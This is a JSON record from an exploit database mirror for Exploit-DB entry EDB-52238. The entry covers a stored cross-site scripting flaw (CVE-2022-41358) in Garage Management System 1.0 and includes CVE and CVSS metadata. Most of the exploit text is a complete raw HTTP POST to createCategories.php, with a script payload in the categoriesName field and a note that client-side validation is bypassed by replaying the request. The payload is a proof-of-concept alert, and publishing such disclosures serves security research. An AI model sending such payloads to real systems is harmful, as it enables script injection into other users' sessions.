{"exploit":{"id":"EDB-52238","name":"Garage Management System 1.0 - 'categoriesName' Authenticated Stored Cross-Site Scripting (XSS)","description":"Garage Management System 1.0 - 'categoriesName' Authenticated Stored Cross-Site Scripting (XSS)","cves":["CVE-2022-41358"],"author":"ub3rsick","published":"2025-04-16","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52238","path":"exploits/php/webapps/52238.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52238.txt","vulnerabilities":[{"id":"CVE-2022-41358","state":"PUBLISHED","title":null,"titleSource":null,"description":"A stored cross-site scripting (XSS) vulnerability in Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the categoriesName parameter in createCategories.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-41358","cvss":{"version":"3.1","baseScore":5.4,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-41358"},"updatedAt":"2025-05-08T15:48:53.075Z","retrievedAt":"2026-11-26T17:37:45.510Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52238.png?v=2","url":"https://exploitbin.com/exploits/EDB-52238","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52238/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52238/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Garage Management System 1.0 (categoriesName) - Stored XSS\n# Date: 18-09-2022\n# Exploit Author: Sam Wallace, SC\n# Software Link: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html\n# Version: 1.0\n# Tested on: Debian\n# CVE : CVE-2022-41358\n\nSummary:\nGarage Management System utilizes client side validation to prevent XSS.\nUsing burp, a request can be modified and replayed to the server bypassing this validation which creates an avenue for XSS.\nParameter: categoriesName\nURI: /garage/php_action/createCategories.php\nPOC:\nPOST /garage/php_action/createCategories.php HTTP/1.1\nHost: 10.24.0.69\nContent-Length: 367\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://10.24.0.69\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://10.24.0.69/garage/add-category.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u\nConnection: close\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesName\"\n<script>alert(1)</script>\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesStatus\"\n1\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"create\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS--","sha256":"dc31e8a8cd63697f24fce100bc2fc67ef5e1e158cc94ef7887968f57c6ac0fbd","bytes":1638,"fetchedAt":"2026-11-27T02:09:37.444Z","encoding":"utf-8 (display only; download retains original bytes)"}